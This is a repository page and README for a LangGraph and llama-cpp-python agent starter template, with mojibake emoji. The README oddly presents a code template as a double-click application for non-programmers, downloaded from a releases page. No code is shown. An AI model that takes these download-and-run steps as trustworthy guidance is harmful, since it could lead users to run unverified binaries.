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langgraph-llama-cpp-starter

πŸ€– Build intelligent, offline LLM agents with LangGraph and llama-cpp-python using this starter template for local, private tool-calling applications.

Description

πŸ€– Build intelligent, offline LLM agents with LangGraph and llama-cpp-python using this starter template for local, private tool-calling applications.

README

πŸ“¦ langgraph-llama-cpp-starter - Build Local AI Chatbots Easily

⚑ Overview

Welcome to the langgraph-llama-cpp-starter project! This tool helps you create powerful, local AI chatbots using LangGraph and llama-cpp-python. Whether you want to call functions or build intelligent agents, this template simplifies your journey.

πŸš€ Getting Started

Follow these simple steps to download and run the application. No programming knowledge is needed!

πŸ“₯ Download Now

Download langgraph-llama-cpp-starter

πŸ“‹ System Requirements

  • Operating System: Windows 10 or later, macOS Sierra or later, or a modern Linux distribution.
  • Python Version: Python 3.8 or higher.
  • Memory: At least 4 GB RAM recommended.
  • Disk Space: Minimum of 500 MB free space required.

πŸ›  Installation Steps

  1. Visit the Releases Page: Click the button below to access the download options.

    Visit Releases Page

  2. Select the Latest Version: Look for the latest release at the top of the page.

  3. Download the Package:

    • Click on the appropriate file for your operating system.
    • Save it to a location you can easily access, such as your Desktop or Downloads folder.
  4. Run the Application:

    • Locate the downloaded file.
    • Double-click to start the application.
    • Follow on-screen prompts to set up your AI chatbot.

πŸš€ How to Use the Application

Once you have the application running, you can start building your AI chatbot. Here are some simple steps to guide you:

  1. Open the Application: Launch the downloaded file.
  2. Set Up Your Project: Choose a project name and define what your chatbot should do.
  3. Choose Functionality: Select the tools or functions you want your AI to perform.
  4. Test Your Chatbot: Use the built-in testing feature to interact with your chatbot and see how it responds.

πŸ” Exploring Features

The langgraph-llama-cpp-starter template includes various features to enhance your chatbot:

  • Local Execution: No need to rely on cloud services; everything runs locally on your machine.
  • Function Calling: Easily set up your bot to call external functions based on user input.
  • Multi-Platform Support: Compatible with Windows, macOS, and Linux.
  • User-Friendly Interface: Designed for ease of use, even for those without technical skills.

✍️ Contributing

If you would like to improve this project, contributions are welcome! Here’s how:

  1. Fork the Repository: Create your own copy of the project.
  2. Make Changes: Edit the files you want to improve.
  3. Submit a Pull Request: Share your changes with us!

πŸ“ž Need Help?

If you encounter issues or have questions, feel free to reach out. You can find support through:

  • GitHub Issues: Post your questions in the Issues section of the repository.
  • Community Forums: Join discussions and get help from other users.

πŸ“œ License

This project is licensed under the MIT License. You are free to use, modify, and distribute this software. Just make sure to keep the original credits.


Now you are ready to start your journey into building AI chatbots. Enjoy using langgraph-llama-cpp-starter!

Release History

VersionChangesUrgencyDate
main@2026-04-21Latest activity on main branchHigh4/21/2026
0.0.0No release found β€” using repo HEADHigh4/9/2026

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